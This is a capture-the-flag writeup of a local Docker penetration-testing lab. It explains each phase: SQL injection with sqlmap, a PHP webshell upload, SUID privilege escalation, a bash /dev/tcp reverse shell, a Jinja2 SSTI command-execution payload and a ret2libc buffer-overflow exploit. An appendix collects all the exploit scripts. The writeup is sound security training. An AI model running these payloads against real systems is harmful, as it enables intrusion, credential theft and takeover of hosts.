17 min read

MBPTL: Full Penetration Testing Lab Writeup (17 Flags)

MBPTL: Full Penetration Testing Lab Writeup (17 Flags)
Most Basic Penetration Testing Lab
A complete kill-chain log, from spinning up the environment to capturing all 17 flags,
with every step broken into three layers: Concept (what it is) → Why (the principle) → How (the commands).
All flag values are shown as Redacted; the real values are never disclosed.
https://github.com/bayufedra/MBPTL

0. Lab Overview and Methodology

MBPTL condenses a full kill chain into 17 flags spread across 7 phases: recon → web enumeration → SQL injection → post-exploitation/privilege escalation → SOC forensics → internal lateral movement → binary exploitation. Its value isn't in any single vulnerability but in its depth — you have to dig deep into the one external entry point to gain a foothold, then use it as a pivot to fan out laterally to two purely internal services.

The whole environment is made up of 3 Docker containers:

Container Subnet IP External Ports Role
mbptl-main 172.23.0.2 80, 8080 External entry point: bookstore site (SQLi) + admin panel (file upload)
mbptl-app 172.23.0.4 5000 (internal) Flask service, Jinja2 SSTI
mbptl-internal 172.23.0.3 31337 (internal) custom binary service, buffer overflow

Key topology: only mbptl-main is exposed externally (80/8080); 5000 and 31337 are never published to the outside and can only be reached from inside the network after main is compromised. That's exactly why Phase 6/7 have to rely on pivoting.

The methodology that runs through the whole thing (worth remembering more than the flags themselves):

  1. Recon first, let behavior lead: at every attack point, first observe "how it responds," then decide on the payload — don't assume a vulnerability class and force-fit it.
  2. Read the whole response, don't just grep for the flag string: real pentests have no FLAG{} marker. The credentials, paths, and structure sitting next to the flag are the clues that move you forward.
  3. When your assumption doesn't hold, change your angle: when filenames, paths, or behavior differ from what you expected, look around the directory / change how you observe, instead of ramming the same wall.

1. Environment Setup

Concept

Bring the lab up with Docker Compose: three containers + one custom bridge network.

Why

The upside of a self-hosted Docker lab is isolation, resettability, and controllable behavior. Bring it up with a single Compose command, and if it breaks, down -v wipes it clean and starts over without polluting the host.

How

git clone https://github.com/bayufedra/MBPTL
cd MBPTL/mbptl/
docker compose up -d
docker compose ps

Confirm all three containers are Up:

NAME             STATUS   PORTS
mbptl-app        Up       5000/tcp
mbptl-internal   Up       31337/tcp
mbptl-main       Up       0.0.0.0:80->80/tcp, 0.0.0.0:8080->8080/tcp, 3306/tcp
Gotcha: if 8080 is already taken (e.g. another lab is running on the same box), mbptl-main will fail to start with port is already allocated. First docker ps to find the culprit and docker compose down -v to clear it, or edit .env to change the port.

Reading port exposure: mbptl-main's 80/8080 have the 0.0.0.0: prefix = externally exposed; mbptl-app's 5000 and mbptl-internal's 31337 have no prefix = purely internal. One glance defines the attack order.

2. Attack-Surface Map

How

# scan external ports
nmap -sV -p 80,8080 localhost
80/tcp   open  http  Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))

Both are Apache 2.4.4 — a classic LAMP stack, so SQLi is most likely PHP + MySQL.

# brute directories on 80
gobuster dir -u http://localhost:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt -t 40 -q

Key findings: /detail.php (a single-record query page with a parameter → SQLi suspect), /index.php, /img/, /inc/.

Phase 1 — Recon (Flag 1–3)

Flag 1 — HTML Comment

Concept: <!-- --> comments in a page's source often leave behind sensitive information from developers.

Why: comments don't show up in the rendered page, so developers easily forget they're still in the source and visible to anyone. This is the most basic form of information disclosure.

How:

curl -s http://localhost:80/index.php | grep -iE '<!--|flag'
<!-- MBPTL-1{Redacted} -->

Flag 2 — HTTP Header

Concept: a flag is hidden in the server's HTTP response headers (here, a custom header X-MBPTL).

Why: HTTP headers are the metadata layer where the server and client communicate. Ordinary users never notice them, but for an attacker they're a standard recon surface — custom headers, version info, and cookies all live here.

How:

curl -s -I http://localhost:80/
X-MBPTL: MBPTL-2{Redacted}

Flag 3 — Alternate Web Service (8080)

Concept: a second web service beyond the main one, often overlooked.

Why: running multiple web ports on the same host is a common architecture (separating front-end and back-end). An attacker must enumerate every port, and secondary services are often less well defended — here, 8080 is the entrance to the back-office admin panel.

How:

curl -s http://localhost:8080/ | head -40

The homepage is an "Under Maintenance" decoy page, but the body prints it straight out:

MBPTL-3{Redacted}
Lesson: don't just grep HTML comments — scan the whole body. This flag is in the visible text of the maintenance page, not in a comment.

Phase 2 — Web Enumeration (Flag 4)

Concept

Enumerate the hidden admin-panel path /administrator/.

Why

Admin panels are high-value targets (they usually lead to file upload or configuration changes). Directory enumeration is a core step in web pentesting — many entry points have no links pointing to them and can only be found via dictionary brute-forcing or guessing known paths.

How

curl -s -i http://localhost:8080/administrator/ | head -40

Returns 200 — it's a Login Page and sets a PHPSESSID cookie. The flag is printed in the login page body:

MBPTL-4{Redacted}

This login form is the destination of the upcoming Phase 3: the credentials dumped via SQLi come back to log in here (Flag 7), and only once you're in do you get file upload. The attack chain plants its foreshadowing right here.

Phase 3 — SQL Injection (Flag 5–7)

Flag 5 — Confirming the SQLi Vulnerability

Concept: the id parameter of detail.php?id= is unfiltered and concatenated straight into the SQL query.

Why: the essence of SQL injection is "data getting executed as code." When user input is concatenated into a query string without parameterization, a single quote ' can close the original string and break the syntax, and the error message the server spits out leaks the backend structure.

How:

# normal value (baseline)
curl -s "http://localhost:80/detail.php?id=1" | head -30
# single quote triggers a syntax error
curl -s "http://localhost:80/detail.php?id=1'" | head -30

The single-quote request blows up immediately:

Error: You have an error in your SQL syntax; ... near '' LIMIT 1' at line 1
MBPTL-5{Redacted}

Reconstructing the backend query from the error: ... near '' LIMIT 1' reveals the SQL is roughly SELECT ... FROM books WHERE id='$id' LIMIT 1 — this is string-based injection, single-quote closing, trailing LIMIT 1 — the easiest possible error-based / UNION scenario.

Flag 6 — Grabbing the DB Flag with SQLMap

Concept: an automated tool turns the injection point into full database read access.

Why: manual UNION injection is doable but slow. SQLMap automatically determines the injection type, fingerprints the DBMS, enumerates databases/tables/columns and dumps them — it's the designated tool for this phase, and learning its workflow is the point.

How:

# get a foothold in the DB + list all databases
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch --dbs

SQLMap confirms all four injection types (boolean-based / error-based / time-based / UNION, 5 columns), lists the databases, with the target databases being administrator and bookstore.

# list the tables in the administrator database
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator --tables

We get two tables: flag and users. Dump the flag table:

sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T flag --dump
+----+-------------------+
| id | flag              |
+----+-------------------+
| 1  | MBPTL-6{Redacted} |
+----+-------------------+

Flag 7 — Dumping Credentials to Log Into the Admin Panel

Concept: dump the admin credentials from the users table and log into the 8080 back-office.

Why: SQLi isn't just for reading flags — more importantly it dumps reusable credentials. Getting the admin password = getting the admin panel = a path to file upload and RCE. This is the depth of "one vulnerability opening the next door."

How:

sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T users --dump

SQLMap notices the passwords are MD5 and cracks them with its built-in wordlist on the spot:

+----+----------------------------------------------+----------+
| id | password                                     | username |
+----+----------------------------------------------+----------+
| 1  | 8a24367a...(P@ssw0rd!)                        | admin    |
+----+----------------------------------------------+----------+

Log in with admin / P@ssw0rd!, and Flag 7 is printed on the post-login dashboard:

curl -s -c /tmp/mbptl.jar -b /tmp/mbptl.jar -L \
  -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/
MBPTL-7{Redacted}
Extra concept: MD5 is an unsalted, fast hash with zero resistance to dictionary/rainbow-table attacks. A common password like P@ssw0rd! cracks in seconds — which hints at the "password cracking" phase on the map, and SQLMap did it for you.

Phase 4 — Post-Exploitation and Privilege Escalation (Flag 8–9)

Uploading a Webshell for RCE

Concept: the "Insert Book" feature in the admin panel has an image upload, but it doesn't validate file type/extension, so you can upload a PHP webshell.

Why: the core of a file-upload vulnerability is "the server trusting a user-controlled file." The front-end accept="image/*" is just a browser hint and places no constraint on a directly crafted HTTP request. As long as the server saves your .php into the webroot and Apache parses it, the uploaded file becomes an executable backdoor.

How:

First, look at the structure of the upload form:

curl -s -b /tmp/mbptl.jar http://localhost:8080/administrator/admin.php | grep -iE '<form|<input|name='

Fields: title / author / description (required text) + image (file, accept="image/*").

Craft a webshell and upload it (spoofing the MIME to bypass any content-type check):

echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/mbptl.jar \
  -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

Returns Book inserted successfully! — upload succeeded, but the response doesn't reveal the landing path.

Locating Where the Webshell Landed (Key Technique)

Concept: a successful upload ≠ knowing where the file is. The server renames the file (MD5) and drops it into a non-default directory.

Why: blindly scanning /img/sh.php gives all 404s because (1) the filename was changed to a hash and (2) the directory isn't the expected one. The fastest way to locate it isn't brute-forcing but going back to the listing page to see how the server references your file — the book cover's <img src> leaks the real path.

How:

After uploading an image on the front-end, go back to the bookstore page and inspect the new book cover's image address, which gives:

http://localhost:8080/administrator/uploads/<md5>.php

Two gotchas revealed at once: the directory is administrator/uploads/, the filename is renamed to an MD5, but the extension keeps .php → Apache will execute it as PHP.

Trigger RCE:

WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Flag 8 — User Flag

curl -s "$WS?c=ls+-la+/flag"
curl -s "$WS?c=cat+/flag/user.txt"
---------- 1 root root  43 ... root.txt     ← perms 000, www-data can't read it
-rw-rw-r-- 1 root root  43 ... user.txt     ← readable
MBPTL-8{Redacted}

Flag 9 — Root Flag (SUID Privilege Escalation)

Concept: root.txt has permissions 000, so you must escalate to root to read it. The escalation vector is a lookalike-named SUID binary.

Why: the SUID (Set-User-ID) bit makes a program run as the file's owner, not the caller. If a root-owned SUID program can spawn a shell, anyone who runs it gets root. The first step of standard privesc recon is to find SUID files.

How:

curl -s "$WS?c=find+/+-perm+-4000+-type+f+2>/dev/null"

A misspelled name is mixed into the list:

/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
...
/usr/bin/bahs        ← look! not bash, it's ba**hs**

bahs is a backdoor SUID that mimics bash with reversed letters. Confirm it:

curl -s "$WS?c=ls+-la+/usr/bin/bahs"
-rwsr-sr-x 1 root root 16784 ... /usr/bin/bahs    ← s bits = SUID + SGID, owner root

It's a setuid shell. The key detail: the webshell is a non-interactive environment, so running bahs bare opens a shell but has no stdin; you must use -c or a pipe to feed it a command:

curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'id; cat /flag/root.txt'"
uid=0(root) gid=0(root) groups=0(root),33(www-data)
MBPTL-9{Redacted}
Extra concept: why -c? Under a non-interactive system() call, bahs spins up a shell but immediately exits on EOF (no interactive stdin). Using -c 'command' passes the command directly as an argument, the shell runs it and returns the result — this "feed a SUID shell with -c in a non-interactive environment" detail comes up again later when escalating to an interactive shell.

Phase 5 — SOC Analysis (Flag 10–12)

Concept

As root, read the system logs, command history, and shell configs — this is the defender's (SOC) forensic perspective, which inverted becomes the attacker's "rummaging around for leftover information."

Why

Once you have the highest privileges, the /root home directory and system logs are a goldmine: history commands may leak the internal network layout, passwords, and how to access other services. The SOC phase teaches you that "whatever the attacker/admin did is all written in the logs."

Key Gotcha: Non-Interactive setuid Can't Hold Up

Earlier, using webshell + bahs -c to grep these files directly returned nothing at all, yet cat /flag/root.txt succeeded. The difference:

  • cat /flag/root.txt is a single short command, and bahs's setuid effective UID=0 holds up.
  • timeout 15 grep ... launches timeout (as www-data) first, then forks grep, so the euid drops back to www-data and it can't read the root-only file.

The fix: pop an interactive reverse shell, because only in an interactive environment does bahs's setuid stay stable.

Establishing an Interactive Root Shell

# probe tools (this container only has bash, no nc/python)
curl -s -G "$WS" --data-urlencode "c=which bash nc python3"
# → only /usr/bin/bash

# find the lab network's gateway (for the container to connect back to the host)
docker network inspect mbptl_default | grep -i gateway
# → 172.23.0.1

Terminal A (start the listener first):

nc -lvnp 4444

Terminal B (trigger the bash /dev/tcp reverse shell):

curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

We come in as www-data, then upgrade the TTY + escalate:

id                              # www-data
script -qc /bin/bash /dev/null  # no python, use script to open a PTY
/usr/bin/bahs                   # setuid stays stable in an interactive env
id                              # uid=0(root)

Collecting Flags 10–12

Now we have a stable root TTY, so just read them:

grep -ra 'MBPTL-1[012]' / 2>/dev/null
/var/log/apache2/access.log:FLAG10='MBPTL-10{Redacted}'
/root/.bash_history:FLAG11='MBPTL-11{Redacted}'
/root/.bashrc:FLAG12='MBPTL-12{Redacted}'
  • Flag 10: Apache access log — all of the attacker's requests are recorded here.
  • Flag 11: root's .bash_history — history commands.
  • Flag 12: root's .bashrc — an environment variable in the shell config file.

Phase 6 — Network Pivoting and SSTI (Flag 13–14)

Network Recon: Discovering Internal Services

Concept: using the compromised main container as a pivot, enumerate the services that only live on the internal network.

Why: 5000 and 31337 are never published externally and are completely invisible from outside. Only from inside main can you discover them via Docker's built-in DNS or by scanning the subnet. This is the heart of lateral movement (pivoting) — "using one foothold to see more of the network."

How (inside the root shell):

cat /etc/hosts                          # main itself is 172.23.0.2
getent hosts mbptl-app mbptl-internal   # resolve service names via Docker DNS
172.23.0.4      mbptl-app        ← Flask (5000)
172.23.0.3      mbptl-internal   ← binary (31337)
which curl      → main has curl, can hit HTTP services directly

Flag 13 — Discovering the Internal Flask App

Concept: access the internal 5000 service through main's curl.

Why: once you confirm main can route to mbptl-app:5000, you can use main as a proxy to hit it, with no need to set up a tunnel (since the target is HTTP, curl is enough).

How:

curl -s http://mbptl-app:5000/ | head -60
<h1>MBPTL - Internal Web Service</h1>
<p>Hello, World! (/?name=)</p>          ← the injection point is right in your face: ?name=
<p>MBPTL-13{Redacted}</p>

Flag 14 — Jinja2 SSTI (Server-Side Template Injection)

Concept: the ?name= parameter is concatenated straight into a Jinja2 template string, leading to template injection → RCE.

Why: the essence of SSTI is the same as SQLi — "user input executed as code (template syntax)." When the backend is written as render_template_string("...%s..." % user_input), the user's input becomes part of the template, and Jinja2 renders the {{ }} expressions inside it, which lets you reach Python objects and modules and ultimately achieve RCE.

How:

Step one, confirm it's SSTI — send a math expression and see if it gets evaluated:

curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # {{7*7}}

Returns Hello, 49SSTI confirmed (the input is evaluated as a Jinja2 expression).

Step two, {{config}} prints out the Flask Config object, confirming the Jinja2 engine:

curl -s "http://mbptl-app:5000/?name=%7b%7bconfig%7d%7d"
# → renders the full <Config {...}> object

Step three, escalate to RCE by reaching the os module through Jinja2's object chain to run commands:

curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null; ls -la /').read() }}"
MBPTL-14{Redacted}

Root cause (confirmed by reading the source):

name = request.args.get('name', 'World! (/?name=)')
return render_template_string("""...<p>Hello, %s</p>...""" % name)

The fatal part is render_template_string(... % name) — it uses % to concatenate the user input into the template string first, then hands it to Jinja2 to render. The correct way is to pass name in as a context variable (render_template_string(TEMPLATE, name=name)), so it's treated only as data and never as template syntax.

Payload breakdown: cycler is a Jinja2 built-in object, .__init__.__globals__ gets the global namespace of its module, inside which you can reach the os module, and .popen(cmd).read() runs a system command and reads back the output. This is one of the standard Jinja2 RCE chains after {{7*7}} gets bypassed.

Phase 7 — Binary Exploitation (Flag 15–17)

Prep: Offline Static Analysis

The back-office has a button, Download Binary for MBPTL Internal Service (/administrator/main), and what it downloads is exactly the body of the 31337 service. The first step of reversing is always static analysis.

file main
# → ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

not stripped (has symbols) + dynamically linked means reversing will be easy. Check the protections:

readelf -l main | grep -iE 'STACK|GNU_RELRO'
readelf -h main | grep Type
# Type: EXEC        → No PIE, fixed addresses
# GNU_STACK RWE empty  → NX possibly disabled

No PIE + no canary = the textbook buffer-overflow scenario (addresses can be hardcoded, no stack canary to block overwriting the return address).

Flag 15 — Flag Embedded in the Binary (Recovered by Reversing)

Concept: the flag is compiled into the code as immediate values, so strings can't grab the complete value.

Why: strings can only grab contiguous printable characters, but the compiler split the flag into 8-byte chunks, stuffing them into a register via a series of movabs rax, <8 bytes> instructions and writing them to the stack to reassemble. The machine code sandwiched between these instructions (48 89 85 ...) breaks up the flag string.

How:

strings main | grep MBPTL-15
# → only see the "MBPTL-15" fragment, cut off by machine code

Disassemble main() to see how it assembles the flag:

objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
movabs rax, 0x35312d4c5450424d   ; "MBPTL-15" (little-endian)
mov    [rbp-0x100], rax
movabs rax, 0x313761633462637b   ; "{cb4ca71"
mov    [rbp-0xf8], rax
movabs rax, 0x3861666235313133   ; "3115bfa8"
...

Restore each movabs immediate from little-endian and concatenate them to get the complete flag:

MBPTL-15{Redacted}
Lesson: "there's clearly a flag but I can't grep it" → most likely it's been split into immediates and compiled into the code. Reconstruct it from the movabs sequence.

Flag 16 — Connecting to the Internal Binary Service

Concept: connect to mbptl-internal:31337, and the service banner spits out Flag 16 directly.

Why: 31337 is purely internal, so you have to connect from main (which has pivoting capability). main has no nc/python, but bash has the /dev/tcp pseudo-device for establishing a TCP connection.

How (inside main's root shell):

exec 3<>/dev/tcp/mbptl-internal/31337
cat <&3 &
echo "test" >&3
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{Redacted}
[>] Name: [*] Welcome, test!
If your Kali box can route directly to the docker subnet (the host usually can), you can also just nc -v 172.23.0.3 31337 to get the same banner.

Flag 17 — Buffer Overflow (ret2libc)

Concept: the service uses gets() to read Name with no bounds checking → the overflow overwrites the return address → ret into the binary's system("/bin/sh").

Why: gets() is a function you should never use — it doesn't limit input length, giving you as much length as you want, flooding straight past the buffer on the stack and clobbering the saved RBP and the return address. When the program hits ret, the CPU jumps to an address we control. Because it's No PIE (fixed addresses) and the binary has system@plt and a /bin/sh string, we build a ROP chain: pop rdi; ret loads the /bin/sh address into rdi, then jumps to system, which is equivalent to calling system("/bin/sh").

How:

Disassemble to locate the overflow point:

objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
lea rax,[rbp-0x80]    ; buffer is at rbp-0x80
call gets@plt        ; overflow point

Compute the offset: the buffer at [rbp-0x80] = 128 bytes to the saved RBP, then +8 to the return address → offset = 136.

Collect the ROP components (No PIE, file offset + 0x400000 = memory address):

# pop rdi; ret gadget (machine code 5f c3)
python3 -c "import re; d=open('main','rb').read(); print([hex(m.start()+0x400000) for m in re.finditer(b'\x5f\xc3', d)])"
# → 0x400873

# /bin/sh string
strings -t x main | grep /bin/sh    # file 0x898 → memory 0x400898

# system@plt (the call address in the disassembly)
# → 0x400570

exploit (pwntools, connecting directly to 172.23.0.3:31337 from Kali):

from pwn import *

p = remote('172.23.0.3', 31337)

POP_RDI = 0x400873   # pop rdi ; ret
BINSH   = 0x400898   # "/bin/sh"
SYSTEM  = 0x400570   # system@plt

payload  = b'A' * 136          # fill the buffer up to the return address
payload += p64(POP_RDI)        # ret → pop rdi; ret
payload += p64(BINSH)          # rdi = "/bin/sh"
payload += p64(SYSTEM)         # → system("/bin/sh")

p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()

After running it we get a shell and read the flag:

$ id
uid=65534(nobody) gid=65534(nogroup)
$ ls -la
... flag.txt ...          # note: there's no flag17.txt, the flag is in flag.txt
$ cat flag.txt
MBPTL-17{Redacted}
Gotcha: I expected to read flag17.txt, but it doesn't exist — after ls I found the flag is in flag.txt, once again confirming "look around the directory, don't assume the filename." The ...s\x08@ in the echo is exactly the gadget address 0x400873 leaking through Welcome, %s, proving the offset is spot-on.

Appendix A — Full Exploit Scripts

A.1 SQLi Credential Dump (Phase 3)

TARGET="http://localhost:80/detail.php?id=1"
sqlmap -u "$TARGET" -p id --batch --dbs
sqlmap -u "$TARGET" -p id --batch -D administrator --tables
sqlmap -u "$TARGET" -p id --batch -D administrator -T flag  --dump   # Flag 6
sqlmap -u "$TARGET" -p id --batch -D administrator -T users --dump   # credentials → Flag 7

A.2 Webshell Upload + RCE + Privesc (Phase 4)

# log in to get a session
curl -s -c /tmp/j -b /tmp/j -L -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

# upload the webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/j -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

# locate the landing spot by inspecting the front-end <img src>, giving <md5>.php
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"                                                        # RCE
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'cat /flag/root.txt'"  # privesc

A.3 Reverse Shell (Phase 5 Prep)

# listener (Kali terminal A)
nc -lvnp 4444

# trigger (through the webshell, GW = docker network gateway)
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

# once in: script -qc /bin/bash /dev/null → /usr/bin/bahs → uid=0

A.4 SSTI RCE (Phase 6)

# confirm
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # → 49
# RCE
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null').read() }}"

A.5 Buffer Overflow (Phase 7)

from pwn import *
p = remote('172.23.0.3', 31337)
payload  = b'A'*136 + p64(0x400873) + p64(0x400898) + p64(0x400570)
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()   # cat flag.txt

Appendix B — Gotchas and Lessons

These are the points where I genuinely got stuck attacking this box and then broke through — worth remembering more than the flags themselves:

# Sticking Point Why It Stuck Breakthrough
1 webshell uploaded successfully but couldn't be found by scanning filename changed to MD5, directory non-default after front-end upload, go back to the listing page and inspect the <img src> that leaks the path
2 bahs -c 'cat root.txt' succeeded but grep returned nothing non-interactive + timeout fork breaks the setuid chain pop an interactive reverse shell, and only then does setuid stay stable
3 reverse shell fired but never came back used the wrong gateway IP (a custom network isn't 172.17.0.1) docker network inspect to find the real gateway (172.23.0.1)
4 Flag 15 couldn't be grepped flag was split into movabs immediates and compiled into the code reconstruct it little-endian from the disassembled movabs sequence
5 expected flag17.txt doesn't exist filename differs from the map's assumption ls to look around the directory — the flag is in flag.txt

The Entire Attack Chain of This Box, in One Sentence

External SQLi dumps admin credentials → log into the back-office and upload a webshell for www-data RCE → escalate to root via the lookalike SUID bahs → read the logs to complete the SOC forensics → use main as a pivot to move laterally, hitting the internal Flask app with Jinja2 SSTI and the internal binary with a ret2libc buffer overflow → all 17 flags captured.

Writeup complete — 17/17. Understanding the principles beats collecting flags.